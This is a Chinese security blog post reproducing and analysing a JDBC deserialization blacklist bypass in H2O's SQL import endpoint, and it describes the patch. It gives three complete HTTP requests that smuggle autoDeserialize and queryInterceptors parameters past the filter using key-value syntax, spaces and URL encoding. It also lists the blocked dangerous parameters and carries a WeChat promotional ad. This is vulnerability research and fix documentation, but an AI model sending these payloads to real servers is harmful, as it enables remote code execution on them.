

環境搭建
https://h2o-release.s3.amazonaws.com/h2o/rel-3.46.0/7/index.html

下載 MySQL 驅動(https://repo1.maven.org/maven2/mysql/mysql-connector-java/8.0.12/mysql-connector-java-8.0.12.jar)並放在在同一目錄下。正確的啓動命令為:
# Windows
java -cp "mysql-connector-java-8.0.12.jar;h2o.jar" water.H2OApp
# Linux / Mac
java -cp mysql-connector-java-8.0.12.jar:h2o.jar water.H2OApp
#調試啓動命令
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -cp "mysql-connector-java-8.0.12.jar;h2o.jar" water.H2OApp
啓動成功後,訪問 http://localhost:54321 就可以進入 H2O 的 Web 管理界面。

漏洞復現
MySQL 5.x 驅動只支持 Query String 格式(?key=value&key2=value2),且對 URL 解析較為嚴格。 MySQL 8.x 驅動引入了更靈活的 URL 解析機制,支持多種格式,並對參數解析有更寬鬆的處理。
-
Key-Value 格式繞過:Key-Value 格式是 MySQL 8.x 才引入的 URL 格式,採用 括號包裹、逗號分隔的方式處理參數。H2O 的正則只匹配
?、;、&後面的參數名,逗號不在匹配範圍之內。 -
空格繞過:在參數名前添加空格,繞過正則匹配。空格不是字母 [a-z],正則匹配失敗。
-
編碼繞過:對參數名進行 URL 編碼,使正則無法匹配出參數名。
Key-Value 格式
POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 191
{
"connection_url": "jdbc:mysql://(host=127.0.0.1,port=59351, autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=deser_CB_calc)/test"
}

空格繞過
POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 180
{
"connection_url": "jdbc:mysql://127.0.0.1:59351/test? autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc"
}

編碼繞過
POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 242
{
"connection_url": "jdbc:mysql://127.0.0.1:59351/test?%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65=true&%71%75%65%72%79%49%6e%74%65%72%63%65%70%74%6f%72%73=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc"
}

漏洞分析
第一次補丁鏈接 https://github.com/h2oai/h2o-3/commit/f714edd6b8429c7a7211b779b6ec108a95b7382d

water.jdbc.SQLManager#importSqlTable

water.jdbc.SQLManager.SQLImportDriver#compute2

water.jdbc.SQLManager#getConnectionSafe

water.jdbc.SQLManager#validateJdbcUrl

private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)[?;&]([a-z]+)=");
private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of(
// MySQL相關危險參數
"autoDeserialize", // 允許反序列化
"queryInterceptors", // 8.x版本攔截器
"allowLoadLocalInfile", // 允許讀取本地文件
"allowMultiQueries", // 允許多語句執行
"allowLoadLocalInfileInPath",
"allowUrlInLocalInfile",
"allowPublicKeyRetrieval",
// H2數據庫相關危險參數
"init", // 初始化時執行SQL/腳本
"script", // 執行腳本
"shutdown" // 關閉數據庫
).map(String::toLowerCase).collect(Collectors.toList());
ConnectionUrlParser 是 MySQL 8.x 驅動中專門負責解析 JDBC URL 的類,所有 URL 解析都從它的構造函數開始。調用 parseConnectionString 提取 connString 各個部分,存儲到實例變量
com.mysql.cj.conf.ConnectionUrlParser#parseConnectionString()

CONNECTION_STRING_PTRN = Pattern.compile(
"(?<scheme>[\\w:%]+)\\s*" + // 協議部分
"(?://(?<authority>[^/?#]*))?\\s*" + // authority 部分(主機信息)
"(?:/(?!\\s*/)(?<path>[^?#]*))?" + // path 部分(數據庫名)
"(?:\\?(?!\\s*\\?)(?<query>[^#]*))?" + // query 部分(參數)
"(?:\\s*#(?<fragment>.*))?" // fragment 部分(錨點,很少用)
);
https://regex101.com/


空格會被包含在 query 中 也被匹配到
【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客户端安全檢測指南(安卓+IOS)
JDBC URL 支持兩種不同位置放置連接參數:
鏈路一:getHosts() 鏈路:當 MySQL 驅動需要獲取主機連接信息,參數放置在 Authority 部分//後面
getHosts() → parseAuthoritySection() → parseAuthoritySegment() → buildHostInfoResortingToKeyValueSyntaxParser() → processKeyValuePattern() → safeTrim() → decode()
com.mysql.cj.conf.ConnectionUrlParser#parseAuthoritySegment 嘗試多種解析方式

處理 (host\=x,port\=x,...) 格式【KEY-VALUE 格式繞過入口】
com.mysql.cj.conf.ConnectionUrlParser#buildHostInfoResortingToKeyValueSyntaxParser



核心解析邏輯【處理空格+編碼】
com.mysql.cj.conf.ConnectionUrlParser#processKeyValuePattern

調用 StringUtils.safeTrim 去除首尾空格 decode 用於URL解碼
【編碼繞過的關鍵】
com.mysql.cj.conf.ConnectionUrlParser#decode

MySQL 驅動的 decode() 是單次解碼,所以單次 URL 編碼可以繞過校驗,雙重 URL 編碼不能繞過
鏈路二:getProperties() 鏈路:當 MySQL 驅動需要獲取連接參數,參數放置在 Query 部分 ? 之後 getProperties() → parseQuerySection() → processKeyValuePattern() → safeTrim() → decode() com.mysql.cj.conf.ConnectionUrlParser#parseQuerySection



修復方法
private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*");
private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of(
// MySQL相關危險參數
"autoDeserialize", // 允許反序列化
"queryInterceptors", // 8.x版本攔截器
"allowLoadLocalInfile", // 允許讀取本地文件
"allowMultiQueries", // 允許多語句執行
"allowLoadLocalInfileInPath",
"allowUrlInLocalInfile",
"allowPublicKeyRetrieval",
"init",
"script",
"shutdown"
).map(String::toLowerCase).collect(Collectors.toList());
water.jdbc.SQLManager#validateJdbcUrl

修復空格繞過
// 舊正則(3.46.0.5 - 有漏洞)
Pattern.compile("(?i)[?;&]([a-z]+)=")
// 新正則(3.46.0.8 - 已修復)
Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*")

新正則的匹配規則
Payload: jdbc:mysql://127.0.0.1/test?+autoDeserialize\=true
URL解碼後: jdbc:mysql://127.0.0.1/test? autoDeserialize\=true
↑
'+' 變成空格
正則: (?i)([a-z0-9_]+)\\s*=\\s*
字符串:test? autoDeserialize=true
掃描整個字符串,尋找所有 “參數名=”的模式
匹配到:autoDeserialize=
↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
([a-z0-9\_]+) 捕獲到 "autoDeserialize"
舊思路:從分隔符開始匹配 → 容易被分隔符後的特殊字符串繞過
`[?;&]([a-z]+)=`
↑
必須緊跟分隔符
新思路:直接匹配所有“參數名=”模式 → 不依賴分割符位置
`([a-z0-9_]+)\\s*=`
↑
匹配任意位置的參數名
額外改進:
-
\\s*=\\s* 允許空格,防止param = value格式繞過 -
[a-z0-9_]擴展字符集,覆蓋更多參數名格式
修復編碼繞過
try {
for(int i = 0; i < 10; ++i) {
previous = jdbcUrlDecode;
jdbcUrlDecode = URLDecoder.decode(jdbcUrlDecode, "UTF-8");
if (previous.equals(jdbcUrlDecode)) {
break;
}
}
} catch (UnsupportedEncodingException var7) {
throw new IllegalArgumentException("JDBC URL has wrong encoding");
}
if (!previous.equals(jdbcUrlDecode)) {
throw new IllegalArgumentException("JDBC URL contains invalid characters");

通過多次循環解碼,直到解碼後的字符串等於解碼前的字符串(説明已完全解碼),超過十次也強制結束循環。循環結束後會進行比較:如果解碼前後仍不相等(説明10次還沒解完),則拋出異常;如果相等,則使用完全解碼後的字符串進行黑名單檢查,從而避免通過多層 URL 編碼繞過防護。
更多網安技能的在線實操練習,請點擊這裏>>